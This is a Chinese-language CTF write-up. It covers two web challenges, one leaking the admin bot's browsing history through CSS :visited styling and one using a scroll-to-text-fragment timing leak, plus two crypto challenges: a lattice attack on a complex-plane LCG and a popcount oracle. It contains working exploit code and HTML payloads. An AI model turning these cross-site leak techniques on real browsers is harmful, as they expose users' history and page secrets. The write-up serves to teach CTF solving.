Before all 這場沒打到很多,執著在一題上了,來補下 XD最近不是懶惰沒更新,是在準備 CPTS 和一堆瑣事
Web Teemo’s Secret 一開始會給一千把密碼,其中一把密碼可以解鎖 FLAG 但 one shot Admin Bot 會先用 firefox 開啟 http://server/密碼 的路徑才造訪你的網站,最後把最左上角的一個像素給 return 回來。server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from flask import Flask, request, make_response, redirectimport base64, sys, secretsfrom urllib.parse import urlparsefrom PIL import Imagefrom selenium import webdriverfrom selenium.webdriver.support.wait import WebDriverWaitfrom selenium.webdriver.firefox.options import Optionsfrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.common.action_chains import ActionChainsfrom threading import Lockbot_lock = Lock() app = Flask(__name__) PORT = 7382 flag = open ('flag.txt' ).read().strip() flags = [secrets.token_hex(16 ) for _ in range (1000 )] flag_access = secrets.choice(flags) gamble_chance = 3 @app.after_request def add_header (response ): response.headers['Referrer-Policy' ] = 'no-referrer' return response @app.route('/' ) def list_flags (): response = '' for i in flags: response += f'<a href="/{i} ">{i} </a><br>' return make_response(response, 200 ) @app.route('/gamble' , methods=['GET' ] ) def gamble (): global gamble_chance if gamble_chance <= 0 : return 'No more chances left' , 403 access = request.args.get('flag' ) if access: gamble_chance -= 1 if request.args.get('flag' ) == flag_access: gamble_chance = 3 return f'You won! Your flag is: {flag} .' , 200 return 'You lost! Try again.' , 403 @app.route('/<path:data>' , methods=['GET' ] ) def index (data ): response = secrets.token_hex(16 ) return make_response(response, 200 ) @app.route('/bot' , methods=['GET' ] ) def bot (): if not bot_lock.acquire(blocking=False ): return 'please wait admin bot to finish running' , 429 try : data = request.args.get('address' , 'http://example.com/' ).encode('utf-8' ) data = base64.b64decode(data).decode('utf-8' ) url = urlparse(data) if url.scheme not in ['http' , 'https' ]: return 'Invalid URL scheme' , 400 url = data.strip() print ('[+] Visiting ' + url, file=sys.stderr) firefox_options = Options() firefox_options.add_argument("--headless" ) firefox_options.add_argument("--no-sandbox" ) driver = webdriver.Firefox(options=firefox_options) driver.get('http://127.0.0.1:7382/' ) driver.implicitly_wait(3 ) driver.get('http://127.0.0.1:7382/' +flag_access) driver.implicitly_wait(3 ) driver.switch_to.new_window('tab' ) driver.switch_to.window(driver.window_handles[0 ]) print ('[-] Visiting URL' , url, file=sys.stderr) driver.get(url) wait = WebDriverWait(driver, 10 ) try : wait.until(lambda d: 'loaded' in d.title.lower()) except Exception as e: print ('[-] Error waiting for page to load:' , e, file=sys.stderr) driver.get(url) driver.save_screenshot('screenshot.png' ) driver.quit() print ('[-] Done visiting URL' , url, file=sys.stderr) image = Image.open ('screenshot.png' ) screenshot_data = image.crop((0 , 0 , 1 , 1 )).tobytes() response = make_response(screenshot_data, 200 ) response.headers['Content-Type' ] = 'image/png' return response finally : bot_lock.release() if __name__ == '__main__' : app.run(port=PORT, debug=False , host='0.0.0.0' )
蠻典型的 :visited
trick,平常造訪過的連結都會變色,透過魔改 CSS 來 leak 造訪紀錄,最近 chrome 才剛說要廢除的東西 :rofl:https://developer.chrome.com/blog/visited-links?hl=zh-tw XSLeak WIKI: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history 可愛的 Whack A Mole,反正只要透過修改 CSS 中的 mix-blend-mode
屬性,就可以透過疊加出來的顏色判斷是否受點擊,我直接選用原作中的 multiply
屬性修改,並用 CSS 給他調到左上角變大正方形。(注意,一定要先設定好原始的 a
tag 屬性才可以改 visted) 最後因為一千把鑰匙太多了,我用二分搜的方法篩。
payload.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <!DOCTYPE html > <html > <head > <title > meow</title > <meta charset ="utf-8" > <style > a { position : fixed; top : 0 ; left : 0 ; width : 100px ; height : 100px ; display : block; background : white; mix-blend-mode : multiply; } a :visited { background : red; } </style > </head > <body > <h1 > WAITREPLACEHEHE</h1 > <script > window .addEventListener ('load' , function ( ) { setTimeout (function ( ) { document .title = 'loaded' ; }, 3000 ); }); </script > </body > </html >
exp.py
1 python3 exp.py <instance url>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from bs4 import BeautifulSoupimport requests as reqimport sysimport ostarget_url = sys.argv[1 ] os.system(f"wget '{target_url} ' -O origin.html" ) with open ('origin.html' , 'r' , encoding='utf-8' ) as f: html = f.read() soup = BeautifulSoup(html, 'html.parser' ) urls = [] for a_tag in soup.find_all('a' , href=True ): urls.append(a_tag['href' ]) with open ('payload.html' , 'r' , encoding='utf-8' ) as f: origin_payload = f.read() def gen_file (num_range ): payload = '' for i in num_range: payload += f"<a href='http://127.0.0.1:7382{urls[i]} '></a>" payload = origin_payload.replace('WAITREPLACEHEHE' , payload) f = open ('exp.html' , 'w' ) f.write(payload) f.close() ''' >>> web = req.get('http://172.17.0.2:7382/bot?address=aHR0cDovLzE3Mi4xNy4wLjEvZXhwLmh0bWwK')>>> web.text'\x00\x00\x00ÿ' >>> web.text.encode().hex() # hit'000000c3bf' ''' def test (): web = req.get(f'{target_url} /bot?address=aHR0cDovLzQ1Ljc3LjIwLjI1NTo2MDU0L2V4cC5odG1sCg==' ) print (web.text.encode().hex ()) return web.text.encode().hex () == 'c3bf0000c3bf' gen_file(range (0 , 500 )) test() gen_file(range (500 , 1000 )) test() l = -1 r = 999 while l+1 <r: mid = (l+r)//2 gen_file(range (l+1 , mid+1 )) if test(): r = mid else : l = mid print (l, r, urls[r]) web = req.get(target_url+'/gamble?flag=' +urls[r][1 :]) print (web.text)
Leaf server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from flask import Flask, request, make_response, render_template_string, redirectimport os, base64, sysfrom selenium import webdriverfrom selenium.webdriver.chrome.options import Optionsimport timeapp = Flask(__name__) PORT = 8800 flag = open ('flag.txt' ).read().strip() print (flag.replace(".;,;.{" , "" ).replace("}" , "" ))template = """<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Pure Leaf</title> <style nonce="{{ nonce }}"> body { background-color: #21d375; font-size: 100px; color: #fff; height: 100vh; margin: 0; text-align: center; justify-content: center; align-items: center; } </style> </head> <body> <div class="head"></div> {% if flag %} <div class="leaf">{{ flag }}</div> {% endif %} {% if leaves %} <div class="leaf">{{ leaves | safe}}</div> {% else %} <div class="leaf">I love leaves</div> {% endif %} <script nonce="{{ nonce }}"> Array.from(document.getElementsByClassName('leaf')).forEach(function(element) { let text = element.innerText; element.innerHTML = ''; // our newest technology prevents you from copying the text // so we have to create a new element for each character // and append it to the element // this is a very bad idea, but it works // and we are not using innerHTML, so we are safe from XSS for (let i = 0; i < text.length; i++) { let charElem = document.createElement('span'); charElem.innerText = text[i]; element.appendChild(charElem); } }); </script> </body> </html> """ @app.route('/' , methods=['GET' ] ) def index (): nonce = base64.b64encode(os.urandom(32 )).decode('utf-8' ) flag_cookie = request.cookies.get('flag' , None ) leaves = request.args.get('leaf' , 'Leaf' ) rendered = render_template_string( template, nonce=nonce, flag=flag_cookie, leaves=leaves, ) response = make_response(rendered) response.headers['Content-Security-Policy' ] = ( f"default-src 'none'; script-src 'nonce-{nonce} '; style-src 'nonce-{nonce} '; " "base-uri 'none'; frame-ancestors 'none';" ) response.headers['Referrer-Policy' ] = 'no-referrer' response.headers['X-Content-Type-Options' ] = 'nosniff' return response @app.route('/bot' , methods=['GET' ] ) def bot (): data = request.args.get('leaf' , '🍃' ).encode('utf-8' ) data = base64.b64decode(data).decode('utf-8' ) url = f"http://127.0.0.1:8800/?leaf={data} " print ('[+] Visiting ' + url, file=sys.stderr) options = Options() options.add_argument("--headless" ) options.add_argument("--no-sandbox" ) driver = webdriver.Chrome(options=options) driver.get(f'http://127.0.0.1:8800/void' ) driver.add_cookie({ 'name' : 'flag' , 'value' : flag.replace(".;,;.{" , "" ).replace("}" , "" ), 'path' : '/' , }) print ('[-] Visiting URL' , url, file=sys.stderr) driver.get(url) driver.implicitly_wait(5 ) driver.quit() print ('[-] Done visiting URL' , url, file=sys.stderr) return redirect(f'http://127.0.0.1:8800/?leaf=Yayayayay I checked ur leaf its great' , code=302 ) if __name__ == '__main__' : app.run(port=PORT, debug=False , host='0.0.0.0' )
一樣是XSLeak,但這我是真想不到 XD
兩個 features:
STTF(Scroll To Text Fragment): #:~:text=whale
會自動鎖定並滑動到頁面第一次完整出現的位置 譬如說
不會被匹配到 但
1 2 <h1 > <span > what/span><span > le</span > </h1 > <h1 > <a > wha</a > <a > le</a > </h1 >
這兩個都會被匹配到(先出現者優先,所以會 tag 到 span 那排) 詳情和發展歷史:https://github.com/WICG/scroll-to-text-fragment
lazy loading: 在需要資源時才引入,會大量拖慢速度
最後就可以構出這樣的 payload 進行 timing attack
1 payload = "</div > " + "<iframe loading =lazy src =/ width =1 > </iframe > "* 400 +"<br > " *60 + f"<div > {leaf}</div > #:~:text={leaf}"
賽後也有看到選手透過 <details>
tag 在 STTF 觸發時可以展開 + 他算在 window.opener.length 的 feature 進行 xsleak : 原始網頁開啟一個 counter => meta 導向 payload 頁面(含 details tag) => counter 數 opener 內嵌長度
Crypto QwQ 有點太忙沒空寫 exploit,先貼個之後補
LCGs are SBGs 一個在複數平面上的 Truncated LCG Problemhttps://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#lsb-msb-calculation-game 唯一的不同就是 LLL 矩陣構造,跟我今年在 thjcc 出的 lIne 變換方法其實很像 XD
$$ L= \begin{pmatrix} M & 0 & 0 & 0 & \cdots & 0 \ 0 & M & 0 & 0 & \cdots & 0 \ a_{real} & -a_{imag} & -1 & 0 & \cdots & 0 \ a_{imag} & a_{real} & -1 & 0 & \cdots & 0 \ a^2_{real} & -a^2_{imag} & 0 & -1 & \cdots & 0 \ \vdots & \vdots & \vdots & \vdots & \ddots & \vdots \ a^{k-1}{imag} & a^{k-1} {real} & 0 & 0 & \cdots & -1 \ \end{pmatrix} $$
其他參考:https://gist.github.com/maple3142/c7c31d2e5893d524e71eb5e12b0278f0
a special place in reality chall.py 一個很有巧思的小題目 XD,挺可惜賽後才去看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from Crypto.Util.number import *import mathFLAG = open ('flag.txt' ).read() while True : if input ("Yes? " ) == "yes" : try : x = int (input ("Length: " )) if x <= len (FLAG) * 40 : p = getPrime(x) elif x <= 10000 : p = 256 n = p*p flag = FLAG + "a" * (1 + math.ceil(x/8 )) flag = bytes_to_long(flag.encode()) flag = flag - flag % p c = pow (flag, 65537 , n) print ("p multiple length:" , len (bin (flag//p)) - 2 ) print ("p multiple 1 bits:" , bin (flag//p).count("1" )) print (c, 65537 , n) except : print ("invalid input" ) else : print ("exiting..." ) exit(0 )
就…如程式碼但很容易被誤導因為 c 從頭到尾都不用被使用 小觀察:
輸入的 x > 10000 時 p 的值換都不會換,等於可以取得多筆 FLAG+"a"*n
% p 再除 p 的 popcount
$n*p + y_1$ 帶入的 popcount 值與它 $n*p + y_2$ 的相減會等同 $y_1$, $y_2$ 帶入的結果(想像 p 進制下的操作)
最後可以利用相減的序列去進行 Oracle 猜解,比對出來一樣就可以取得 FLAG mod p 的值,最後取得多一點做 CRT 就好